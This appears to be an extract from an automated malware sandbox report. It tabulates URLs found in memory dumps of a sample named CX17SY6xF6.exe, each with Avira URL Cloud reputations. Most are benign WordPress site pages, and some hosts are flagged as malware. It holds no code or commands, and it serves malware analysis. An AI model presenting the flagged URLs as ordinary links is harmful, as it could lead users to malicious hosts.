http://gpthink.com/product/204.html	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.711533281.0000000005870000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.717584525.00000000038B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pohlfood.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.14.1	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stajum.com/N	CX17SY6xF6.exe, 00000000.00000003.768564697.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.quadlock.com/Sb	CX17SY6xF6.exe, 00000000.00000003.577604491.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.576091404.0000000000E5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/wp-content/uploads/2022/10/akcija-5-of-25-Copy-600x599.jpg	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/wika-partner/tlak/pretvorniki-tlaka-wika/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.com-sit.com/wp-content/uploads/premium-addons-elementor/pa-frontend-2947ecb72.min.css?ver	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.elpro.si/kategorija-izdelka/wika-partner/temperatura/prikazovalniki-temperature/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/css/jquery.qtip.min.	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pwd.org/	CX17SY6xF6.exe, 00000000.00000002.888204578.00000000071D5000.00000004.00000020.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.720829263.0000000007560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.888204578.0000000007222000.00000004.00000020.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/resitve-za/industrija/	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.711533281.0000000005870000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.710627178.0000000004000000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://net3.necs.com/pohlfood/site/search?selectview=byclass&queryCol=&terms=pizza	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.elpro.si/avtorji/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.credo.edu.pl/m	CX17SY6xF6.exe, 00000000.00000003.577691996.0000000000E90000.00000004.00000020.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.577519775.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.elpro.si/kategorija-izdelka/razdelitev-po-standardih-direktivah/2014-34-eu/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/rotronic/tlak-rotronic-merilniki-tlaka/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stajum.com/V	CX17SY6xF6.exe, 00000000.00000003.768564697.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.css?ver	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/wp-content/uploads/2022/10/akcija-5-of-25-Copy-100x100.jpg	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hotel-amadeus-frankfurt.de/uploads/pictures/resized/20130104085305_100_0645_105x0-aspect-wr.J	CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.639995551.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://net3.necs.com/pohlfood/site/search?selectview=choose&queryCol=class&terms=Mediterran	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
https://pohlfood.com/comments/feed/	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/wika-partner/tlak/	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/testhouse/	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
